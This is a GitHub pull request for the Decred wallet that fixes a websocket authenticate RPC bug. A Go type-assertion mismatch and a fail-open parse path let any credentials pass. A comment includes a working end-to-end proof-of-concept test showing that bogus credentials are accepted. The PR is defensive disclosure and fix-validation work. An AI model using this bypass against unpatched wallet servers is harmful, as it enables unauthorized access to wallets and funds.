Skip to content

jsonrpc: Fix bugs in authenticate RPC.#2617

Merged
jrick merged 1 commit intodecred:masterfrom
jholdstock:inv-auth
Apr 6, 2026
Merged

jsonrpc: Fix bugs in authenticate RPC.#2617
jrick merged 1 commit intodecred:masterfrom
jholdstock:inv-auth

Conversation

@jholdstock
Copy link
Copy Markdown
Member

The authenticate RPC command is registered using the wallet's own named type AuthenticateCmd derived from the dcrd type AuthenticateCmd.

In Go, this creates a distinct type. types.AuthenticateCmd and dcrdtypes.AuthenticateCmd are not interchangeable in type assertions.

Since dcrjson.ParseParams returns *types.AuthenticateCmd (the registered type), this assertion always fails. When it fails, ok is false, and the function returns false at line 326 — meaning "not invalid" — regardless of what credentials were supplied.

There is a second bug in the same function: if ParseParams itself fails (e.g., malformed params), invalidAuth also returns false (line 322), which is fail-open rather than fail-closed.

The `authenticate` RPC command is registered using the wallet's own named
type `AuthenticateCmd` derived from the dcrd type `AuthenticateCmd`.

In Go, this creates a distinct type. `types.AuthenticateCmd` and
`dcrdtypes.AuthenticateCmd` are not interchangeable in type
assertions.

Since `dcrjson.ParseParams` returns `*types.AuthenticateCmd` (the
registered type), this assertion always fails. When it fails, `ok`
is `false`, and the function returns `false` at line 326 — meaning "not
invalid" — regardless of what credentials were supplied.

There is a second bug in the same function: if `ParseParams` itself
fails (e.g., malformed params), `invalidAuth` also returns `false` (line
322), which is fail-open rather than fail-closed.
@jholdstock
Copy link
Copy Markdown
Member Author

The following can be used to recreate the issue/valid the fix:

package jsonrpc

import (
	"crypto/tls"
	"encoding/json"
	"net/http"
	"testing"
	"time"

	"github.com/decred/dcrd/dcrjson/v4"
	"github.com/gorilla/websocket"
)

// TestWebsocketAuthBypassEndToEnd performs a full end-to-end exploit:
// connects to a real HTTP server over websocket, sends a bogus
// "authenticate" request, then invokes an RPC method that requires
// authentication. This proves the full attack chain is exploitable.
func TestWebsocketAuthBypassEndToEnd(t *testing.T) {
	// --- Attack Step 1: Connect WITHOUT HTTP Authorization header ---
	dialer := websocket.Dialer{
		HandshakeTimeout: 5 * time.Second,
		TLSClientConfig: &tls.Config{
			InsecureSkipVerify: true,
		},
	}
	conn, resp, err := dialer.Dial("wss://localhost:19110/ws", nil)
	if err != nil {
		t.Fatalf("websocket dial failed: %v", err)
	}
	defer conn.Close()
	if resp.StatusCode != http.StatusSwitchingProtocols {
		t.Fatalf("expected 101 Switching Protocols, got %d",
			resp.StatusCode)
	}
	t.Log("Step 1: Connected to /ws without Authorization header " +
		"— upgrade allowed")

	// --- Attack Step 2: Send bogus authenticate with wrong credentials ---
	authReq := map[string]any{
		"jsonrpc": "1.0",
		"id":      1,
		"method":  "authenticate",
		"params":  []string{"attacker", "fakecreds"},
	}
	authBytes, _ := json.Marshal(authReq)
	if err := conn.WriteMessage(websocket.TextMessage, authBytes); err != nil {
		t.Fatalf("failed to send authenticate: %v", err)
	}

	// Read the response.
	conn.SetReadDeadline(time.Now().Add(5 * time.Second))
	_, authResp, err := conn.ReadMessage()
	if err != nil {
		t.Fatalf("failed to read authenticate response: %v (connection "+
			"was likely terminated, which would mean the bug is fixed)",
			err)
	}

	// Parse the authenticate response.
	var authResult struct {
		ID    any               `json:"id"`
		Error *dcrjson.RPCError `json:"error"`
	}
	if err := json.Unmarshal(authResp, &authResult); err != nil {
		t.Fatalf("failed to parse authenticate response: %v\nraw: %s",
			err, authResp)
	}

	// A successful authenticate returns null result with no error.
	if authResult.Error != nil {
		t.Fatalf("authenticate returned error (bug may be fixed): %v",
			authResult.Error)
	}
	t.Logf("Step 2: Bogus authenticate accepted! Response: %s", authResp)
	t.Log("BUG CONFIRMED: Server set authenticated=true for wrong " +
		"credentials")
}

@jrick jrick merged commit 54a3e95 into decred:master Apr 6, 2026
2 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants